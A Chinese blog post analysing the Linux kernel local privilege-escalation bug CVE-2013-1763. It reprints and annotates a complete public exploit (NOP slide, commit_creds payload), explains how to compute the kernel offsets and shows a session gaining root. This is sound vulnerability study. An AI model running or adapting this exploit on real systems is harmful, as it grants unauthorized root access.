linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析
博客专区 > FGQ 的博客 > 博客详情
linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析
FGQ 发表于4年前
linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析
  • 发表于 4年前
  • 阅读 4185
  • 收藏 13
  • 点赞 1
  • 评论 6

移动开发云端新模式探索实践 >>>   

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码,下面会分析该代码是如何获取root权限的。

首先对CVE-2013-1763这个安全漏洞简单介绍一下。

1. 漏洞描述

在net/core/sock_diag.c中,__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查,导致可能越界,进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

2. 漏洞的影响范围

linux kernel 3.0-3.7.10

3. 漏洞曝光时间

2013/02/19

4. 漏洞产生的原因

首先看一下这个漏洞的patch:

net/core/sock_diag.c View file @ 6e601a5
@@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
   if (nlmsg_len(nlh) < sizeof(*req))
     return -EINVAL;
 
+  if (req->sdiag_family >= AF_MAX)
+    return -EINVAL;
+
   hndl = sock_diag_lock_handler(req->sdiag_family);
   if (hndl == NULL)
     err = -ENOENT;


Patch 很简单,只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么:

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
        if (sock_diag_handlers[family] == NULL)
                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                                NETLINK_SOCK_DIAG, family);

        mutex_lock(&sock_diag_table_mutex);
        return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
}


这个函数也没有做什么,只是对 sock_diag_lock_hander[family]进行检测,是否为NULL,如果为NULL申请注册,然后加上了一把锁,最后返回的是它的地址。

static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.


接着我们再看看完整的__sock_diag_rcv_msg函数。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;

    if (nlmsg_len(nlh) < sizeof(*req))
        return -EINVAL;

    hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断,那么就可以越界。
    if (hndl == NULL)
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh); //看到这里是不是很激动呢,利用这里可以让它执行我们自己的代码
    sock_diag_unlock_handler(hndl);
    return err;
}


5. 漏洞的利用

虽然已经找到了kernel中有这样一个漏洞,但是如何利用这个漏洞来执行我们自己的程序,取得root权限还是需要很困难的,需要对kernel系统以及计算机运行原理非常了解才可以,并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码,请欣赏:

/* 
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
* 
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
* 
* Fedora 18 support added
* 
* 2/2013
*/

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;

int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。
kernel_code()
{
  commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限,但是这两个函数都是内核函数,必须在内核态执行才有效。
  return -1;
}

//这段函数没有使用,用来解释hard code jump[] 为什么是那些数值
int jump_payload_not_used(void *skb, void *nlh)
{
  asm volatile (
    "mov $kernel_code, %eax\n"
    "call *%eax\n"
  );
}

unsigned long
get_symbol(char *name)  //为了获取内核函数地址
{
  FILE *f;
  unsigned long addr;
  char dummy, sym[512];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (!f) {
    return 0;
  }
 
  while (ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
    if (ret == 0) {
      fscanf(f, "%s\n", sym);
      continue;
    }
    if (!strcmp(name, sym)) {
      printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
      fclose(f);
      return addr;
    }
  }
  fclose(f);
 
  return 0;
}

int main(int argc, char*argv[])
{
  int fd;
  unsigned family;
  struct {
    struct nlmsghdr nlh;  //socket协议netlink数据包的格式
    struct unix_diag_req r;
  } req;
  char  buf[8192];

    //创建一个netlink协议的socket,因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的
  if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
    printf("Can't create sock diag socket\n");
    return -1;
  }

    //填充数据包,就是为了最终能够执行到__sock_diag_rcv_msg中去
  memset(&req, 0, sizeof(req));
  req.nlh.nlmsg_len = sizeof(req);
  req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
  req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
  req.nlh.nlmsg_seq = 123456;

  //req.r.sdiag_family = 89;
  req.r.udiag_states = -1;
  req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;

  if(argc==1){
    printf("Run: %s Fedora|Ubuntu\n",argv[0]);
    return 0;
  }
  else if(strcmp(argv[1],"Fedora")==0){
    commit_creds = (_commit_creds) get_symbol("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    sock_diag_handlers = get_symbol("sock_diag_handlers");
    nl_table = get_symbol("nl_table");
    
    if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
    printf("some symbols are not available!\n");
    exit(1);
    }

    family = (nl_table - sock_diag_handlers) / 4;
    printf("family=%d\n",family);
    req.r.sdiag_family = family;
    
    if(family>255){
    printf("nl_table is too far!\n");
    exit(1);
    }
  }
  else if(strcmp(argv[1],"Ubuntu")==0){
    commit_creds = (_commit_creds) 0xc106bc60;
    prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
    req.r.sdiag_family = 81;
  }

  unsigned long mmap_start, mmap_size;
  mmap_start = 0x10000;  //选择了一块1MB多的内存区域
  mmap_size = 0x120000;  
  printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);

        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
  memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90,在X86系统中对应的是NOP指令

  char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
  unsigned long *asd = &jump[4];
  *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11

    //将jump这段代码放在mmap内存区域的最后,也就是说只要最后能够跳转到这块区域,就可以执行到jump代码,进而跳转执行kernel_code,因为这块区域中布满了NOP指令。
  memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

    //所有准备工作完成之后,最后在这里发送socket触发这个漏洞
  if ( send(fd, &req, sizeof(req), 0) < 0) {
    printf("bad send\n");
    close(fd);
    return -1;
  }

  printf("uid=%d, euid=%d\n",getuid(), geteuid() );

  if(!getuid())
    system("/bin/sh");
}


6. exploit代码分析

在分析之前,有些概念要澄清一下,在linux系统中,用户空间和内核空间是独立存在的。在一个32位的linux系统中,每个进程会虚拟出4G的内存空间,其中3G是用户空间,1G是内核空间,用户空间的地址范围是0&times;00000000 到 0xBFFFFFFF,内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享,但只有运行在内核态的进程才能访问,用户进程可以通过系统调用切换到内核态访问内核空间,进程运行在内核态时所产生的地址都属于内核空间。

commit_creds 和prepare_kernel_cred 均为内核函数,如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的,所以这个时候调用执行kernel_code函数就可以取得root权限。

那么如何调用kernel_code函数呢?所有我们mmap了一块从0x10000开始0x120000大小的内存空间,然后将这块空间写满NOP指令,将跳转执行kernel_code的代码放在这块区域的最后面,也就是说,只要跳转执行到这块内存区域的(除了jump代码块内部)都会顺利跑到kernel_code函数。这种方法叫做NOP slide,就像坐滑滑梯一样,自然滑到底部。jump这一段代码的分析如下:

char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
  unsigned long *asd = &jump[4];
  *asd = (unsigned long)kernel_code;

int jump_payload_not_used(void *skb, void *nlh)
{
  asm volatile (
    "mov $kernel_code, %eax\n"
    "call *%eax\n"
  );
}

fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c
CVE-2013-1763.c: In function ‘main’:
CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out
….
08048763 <jump_payload_not_used>:
 8048763:  55                     push   %ebp
 8048764:  89 e5                  mov    %esp,%ebp
 8048766:  b8 3c 87 04 08         mov    $0x804873c,%eax
 804876b:  ff d0                  call   *%eax
 804876d:  5d                     pop    %ebp
 804876e:  c3                     ret   
….

(gdb) p/x jump
$2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址
(gdb) p kernel_code
$4 = {int ()} 0x804873c <kernel_code>


问题的关键变成了如何才能跳转到这一块内存区域呢?先看看下面这结构体的定义:

struct nlmsghdr {
      __u32       nlmsg_len;  /* Length of message including header */
      __u16       nlmsg_type; /* Message content */
      __u16       nlmsg_flags;    /* Additional flags */
      __u32       nlmsg_seq;  /* Sequence number */
      __u32       nlmsg_pid;  /* Sending process port ID */
  };

  struct unix_diag_req {
      __u8    sdiag_family;
      __u8    sdiag_protocol;
      __u16   pad;
      __u32   udiag_states;
      __u32   udiag_ino;
      __u32   udiag_show;
      __u32   udiag_cookie[2];
  };

struct sock_diag_handler {
        __u8 family;//
        int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};

 struct netlink_table {
         struct nl_portid_hash   hash; //取回这个值
         struct hlist_head       mc_list;
         struct listeners __rcu  *listeners;
         unsigned int            flags;
         unsigned int            groups;
         struct mutex            *cb_mutex;
         struct module           *module;
         void                    (*bind)(int group);
         int                     registered;
 };

 struct nl_portid_hash {
         struct hlist_head       *table; 四个字节
         unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.
 
         unsigned int            mask;
         unsigned int            shift;
 
         unsigned int            entries;
         unsigned int            max_shift;
 
         u32                     rnd;
 };

static struct netlink_table *nl_table;


我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内,所以可以利用这个值来跳转,只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

所以我们需要先知道nl_table和sock_diag_handlers的地址,可以通过以下两种方式查看。

cat /proc/kallsyms
sudo cat /boot/System.map-3.2.0-43-generic-pae


但是在ubuntu系统中前一种方法无法查看到变量函数的地址,所以只有使用第二种方法了,由于 nl_table和 sock_diag_handlers都是指针,所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。

fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table
c189b5c0 d nl_table_lock
c189b5c4 d nl_table_wait
c1a488e0 b nl_table_users
c1a488e4 b nl_table
fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers
c1a487a0 b sock_diag_handlers
(0xc1a488e4 - 0xc1a487a0) / 4 = 81L


至此所有的谜题都解开了,然后就可以高高兴兴的黑自己一把了:

fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c
CVE-2013-1763.c: In function ‘main’:
CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
fengguoqing@VirtualBox:~/Downloads$ id
uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu
mmapping at 0x10000, size = 0x120000
uid=0, euid=0
# id
uid=0(root) gid=0(root) groups=0(root)


由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex),但是我们在后面将程序引入到其他地方,并没有接着执行 mutex_unlock(&sock_diag_table_mutex),所以按道理只能root成功一次,但是我在测试中发现有时候可以root多次,有时候root一次之后就不能再root了,需要重启才可以重新root。

7. 参考网站

CVE:http://cve.mitre.org/cgi-bin/cvename...=CVE-2013-1763

NVD: http://web.nvd.nist.gov/view/vuln/de...=CVE-2013-1763

Patch: CONFIRM:http://git.kernel.org/?p=linux/kerne...e0b6894ffd79c0

Exploit: http://www.exploit-db.com

维基百科Netlink:http://zh.wikipedia.org/wiki/Netlink 

  • 打赏
  • 点赞
  • 收藏
  • 分享
共有 人打赏支持
FGQ
粉丝 33
博文 18
码字总数 38100
评论 (6)
大梦1107
楼主,关键的 req.r.sdiag_family = 81; 没有分析呢
大梦1107
Sorry,看错下面有,(0xc1a488e4 - 0xc1a487a0) / 4 = 81L
sdf107

引用来自“咖啡成瘾的雪人”的评论

Sorry,看错下面有,(0xc1a488e4 - 0xc1a487a0) / 4 = 81L
跟这个值rehash_time 有啥关系 ? 没看懂
sdf107

引用来自“咖啡成瘾的雪人”的评论

Sorry,看错下面有,(0xc1a488e4 - 0xc1a487a0) / 4 = 81L
跟这个值rehash_time 有啥关系 ? 没看懂
sdf107

引用来自“咖啡成瘾的雪人”的评论

Sorry,看错下面有,(0xc1a488e4 - 0xc1a487a0) / 4 = 81L
跟这个值rehash_time 有啥关系 ? 没看懂
大梦1107

引用来自“咖啡成瘾的雪人”的评论

Sorry,看错下面有,(0xc1a488e4 - 0xc1a487a0) / 4 = 81L

引用来自“sdf107”的评论

跟这个值rehash_time 有啥关系 ? 没看懂
神来之笔,恰好位于用户空间mmap写入shelcode
×
FGQ
如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!
* 金额(元)
¥1 ¥5 ¥10 ¥20 其他金额
打赏人
留言
* 支付类型
微信扫码支付
打赏金额:
已支付成功
打赏金额: